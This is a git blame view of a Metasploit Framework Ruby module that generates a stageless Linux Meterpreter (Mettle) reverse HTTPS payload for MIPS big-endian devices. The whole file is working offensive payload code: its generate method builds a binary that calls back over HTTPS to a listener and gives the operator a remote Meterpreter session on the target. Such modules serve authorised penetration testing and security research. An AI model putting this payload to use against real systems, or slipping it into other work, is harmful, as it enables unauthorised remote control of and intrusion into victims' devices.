2016-12-09 18:23:03 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-12-09 18:23:03 -06:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2022-05-04 14:43:05 +01:00
|
|
|
# Module generated by tools/modules/generate_mettle_payloads.rb
|
2016-12-09 18:23:03 -06:00
|
|
|
module MetasploitModule
|
|
|
|
|
|
2024-10-14 15:43:40 +11:00
|
|
|
CachedSize = 1516524
|
2016-12-09 18:23:03 -06:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2017-03-21 04:38:18 -05:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
2016-12-09 18:23:03 -06:00
|
|
|
'Author' => [
|
2017-03-21 04:38:18 -05:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 14:04:10 -05:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
|
'timwr'
|
2016-12-09 18:23:03 -06:00
|
|
|
],
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_MIPSBE,
|
|
|
|
|
'License' => MSF_LICENSE,
|
2017-03-21 04:38:18 -05:00
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
2016-12-09 18:23:03 -06:00
|
|
|
'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2017-06-08 11:20:48 +10:00
|
|
|
opts = {
|
|
|
|
|
scheme: 'https',
|
|
|
|
|
stageless: true
|
2022-05-04 14:43:05 +01:00
|
|
|
}.merge(mettle_logging_config)
|
2017-03-21 04:38:18 -05:00
|
|
|
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
|
2016-12-09 18:23:03 -06:00
|
|
|
end
|
|
|
|
|
end
|